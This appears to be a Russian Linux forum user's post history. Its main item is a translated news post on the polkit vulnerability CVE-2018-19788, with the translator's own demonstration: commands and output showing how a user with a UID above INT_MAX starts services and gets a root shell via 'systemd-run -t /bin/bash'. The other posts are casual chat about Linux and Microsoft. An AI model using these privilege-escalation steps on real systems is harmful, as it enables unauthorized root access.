Объявление

Use the accounting equation to avoid errors and understand your company.

#2 Дорога, открытая всем » Непривилегированные пользователи Linux с UID> INT_MAX могут выполнить » 11-12-18 11:50:09

NextHop2019
Ответов: 2

Присядьте, у меня есть новость, которая вас сейчас шокирует…

В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.

6ca32381e70726965b139be0b0834bc8.png

Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.

Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика

Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1)для начала проверил, что он лежит

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: inactive (dead)

2)попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3)но затем убедился, что он все-таки запустился

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
  Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2829 (apache2)
    Tasks: 55 (limit: 4526)
   CGroup: /system.slice/apache2.service
           ├─2829 /usr/sbin/apache2 -k start
           ├─2830 /usr/sbin/apache2 -k start
           └─2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$  systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?

Источник

#8 Общее » Перекличка » 07-12-18 19:53:35

NextHop2019
Ответов: 22

Ох, давно меня тут не было... Да и зарегился снова с третьей попытки. :-)
Есть кто живой, отзовитесь!

#9 Re: Дорога, открытая всем » Станет ли этот год годом торжества Linux? » 07-12-18 19:46:57

А линукс на десктопе - уже давно неактуальная тема. Как-то поутихли споры в интернете...

#10 Re: Серверные версии Windows » Почему популярность IIS падает? » 07-12-18 19:44:44

.NET Core уже кроссплатформенный. Эх, сколько времени пролетело...

#12 Re: Общее » Линукс и я » 07-12-18 19:41:04

Что-то Оля слишком лаконична и допускает глупые ошибки пунктуации. Не верю.  smile

#13 Re: Другие дистрибутивы Linux/UNIX » Эталонный Линукс » 07-12-18 19:39:03

erfunden пишет:

Дабы не разводить дальнейшую демагогию на темы "что кто кому должен" и "кому чего хочется"...

Изобрели такую вот весч.
Собственно, достаточно придерживаться пингвиньих говносборок, поддерживающих...

2018 год на дворе, но хрен там плавал...

Вообще, сейчас Manjaro популярен стал, если верить дистровотчу. Но все мои знакомые линуксоиды уже перешли на маки. Тот же юникс и не винда - в этом для них счастье.  roll

#14 Re: Проекты Microsoft » MS каюк? » 07-12-18 19:34:03

MS купили GitHub, стали дороже Apple. Её Visual Studio Code - самый популярный проект на GitHub.

ZD8RR34QOBY.jpg

#18 Re: Мобильные версии Windows » Windows 7 Phone Camp » 07-12-18 19:18:29

Так что с мобильной виндой-то будет? Проект закрыли.

#19 Re: Red Hat » Red Hat - первая open source компания, заработавшая миллиард долларов » 07-12-18 19:14:41

watersoda пишет:

А в итоге Red Hat будет поглощен IBM. Сделку между IBM и Red Hat собираются полностью закрыть во второй половине 2019 года.

Они их ПО активно пользовались, фактически были спонсорами. Просто узаконили отношения.  big_smile

#20 Re: Десктопные версии Windows » Windows 10 - нужно ли обновляться? » 07-12-18 19:10:50

А MS грамотную штуку внедрили. Теперь у кого острая необходимость в линухах, могут запустить эту примочку:

https://youtu.be/bam0fsLaCHQ

#21 Re: Дорога, открытая всем » Станет ли этот год годом торжества Linux? » 07-12-18 19:07:20

Сейчас линух снова в тренде: контейнеры, докеры, кубернетесы, сервисы очередей, эластиксёрч, девопс и прочая кричащая тематика на Хабре - это всё на линух. Десктопы так и не захвачены, но на серверах место своё давно держит.

#22 Re: Дорога, открытая всем » sK1 » 07-12-18 19:04:35

Вроде, жив-здоров. Если посмотреть его комментарии на ЛОРе, то активен.

https://www.linux.org.ru/people/Linfan/profile

Последний коммит на Гитхабе был 4 дня назад:

https://github.com/sk1project/sk1-wx

Мой VPS с 2016 года !
✅ Виртуальные от 300 ₽/месяц, RAM 1-10GB, DISK 20-360 GB;
✅ Выделенные от 3000 ₽/месяц. RAM 4-64GB, DISK до 4TB;
✅ Intel Xeon, SSD, XEN, iLO/KVM, Windows/Linux, Администрирование;
✅ Бесплатно Full Backup и Anti-DDoS.





Подвал форума

Под управлением FluxBB
Модифицировал Visman

Яндекс.Метрика